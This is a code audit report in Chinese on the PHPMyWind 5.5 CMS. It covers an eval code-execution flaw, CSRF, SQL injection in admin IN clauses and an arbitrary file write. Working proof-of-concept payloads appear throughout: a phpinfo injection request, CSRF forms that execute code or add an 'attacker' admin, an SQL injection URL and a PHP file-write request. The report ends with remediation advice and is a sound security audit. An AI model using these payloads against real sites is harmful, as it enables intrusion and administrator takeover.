phpmywind5.5代码审计
字数 764 2025-08-29 08:31:41
PHPMyWind 5.5 代码审计报告与漏洞分析
1. 有限制的代码执行漏洞
漏洞位置
common.func.php 第554-559行:
function String2Array($data) {
if($data == '') return array();
@eval("\$array = $data;");
return $array;
}
漏洞分析
- 该函数直接使用
eval()执行传入的$data参数,存在代码执行风险 - 全局搜索发现有两处调用此函数的地方
触发点分析
goods_save.php 第103-117行:
if(is_array($attrid) && is_array($attrvalue)) {
$attrstr .= 'array(';
$attrids = count($attrid);
for($i=0; $i<$attrids; $i++) {
$attrstr .= '"'.$attrid[$i].'"=>'.'"'.$attrvalue[$i].'"';
if($i < $attrids-1) {
$attrstr .= ',';
}
}
$attrstr .= ');';
}
利用方式
$attrid和$attrvalue参数未经过滤- 构造恶意请求:
classid=12&typeid=10&brandid=-1&title=test&colorval=&boldval=&attrvalue[]=1&attrid[]=1|${phpinfo()}&attrvalue[]=1&attrid[]=2...
2. CSRF漏洞
漏洞描述
- 后台多处操作未进行CSRF防护
- 可构造恶意表单诱导管理员点击
利用方式
- 代码执行CSRF POC:
<form action="http://www.test.com/phpmywind_5.5/admin/goods_save.php" method="POST">
<input type="hidden" name="attrid[]" value="1|{${phpinfo()}}" />
<!-- 其他必要参数 -->
</form>
- 添加管理员CSRF POC:
<form action="http://www.test.com/phpmywind_5.5/admin/admin_save.php" method="POST">
<input type="hidden" name="username" value="attacker" />
<input type="hidden" name="password" value="attacker" />
<input type="hidden" name="repassword" value="attacker" />
<input type="hidden" name="levelname" value="1" />
<input type="hidden" name="action" value="add" />
</form>
3. 后台SQL注入漏洞
漏洞位置
多处IN语句参数未过滤,如:
case 'delall':
$sql = "DELETE FROM `$tbname` WHERE id IN ($ids)";
$dosql->ExecNoneQuery($sql);
break;
利用方式
构造恶意请求:
admin/ajax_do.php?action=delall&ids=1) and (select 1)=(1&type=goodsattr
4. 后台任意文件写入漏洞
漏洞函数
Writef()函数:
function Writef($file,$str,$mode='w') {
if(file_exists($file) && is_writable($file)) {
$fp = fopen($file, $mode);
flock($fp, 3);
fwrite($fp, $str);
fclose($fp);
return TRUE;
}
// ...
}
利用点1:ajax_do.php
if($action == 'updataauth') {
$fdir = PHPMYWIND_DATA.'/cache/auth/';
$fname = 'auth_'.$cfg_auth_key.'.php';
Writef($fdir.$fname, $jsonStr);
}
利用方式:
admin/ajax_do.php?action=updataauth&jsonStr=<?php phpinfo();?>
利用点2:database_done.php
if($conftb == 1) {
$config_cache = PHPMYWIND_INC.'/config.cache.php';
$str = '<?php if(!defined(\'IN_PHPMYWIND\')) exit(\'Request Error!\');'."\r\n\r\n";
// ...
Writef($config_cache,$str);
}
利用条件:
- 当
vartype为number时,变量值不会被单引号包裹 - 通过添加配置项实现代码注入
5. 漏洞修复建议
-
代码执行漏洞:
- 过滤
String2Array函数输入 - 使用
json_decode替代eval
- 过滤
-
CSRF漏洞:
- 添加CSRF Token验证
- 关键操作使用POST请求
-
SQL注入漏洞:
- 对
IN语句参数进行过滤 - 使用预处理语句
- 对
-
文件写入漏洞:
- 限制可写入目录
- 检查写入内容是否合法
- 对
number类型配置项进行严格验证
6. 审计经验总结
- 关注
eval、assert等危险函数的使用 - 检查所有用户输入是否经过适当过滤
- 注意后台功能的CSRF防护情况
- 文件操作函数需要严格限制路径和内容
- 即使看似无害的功能(如配置管理)也可能存在安全隐患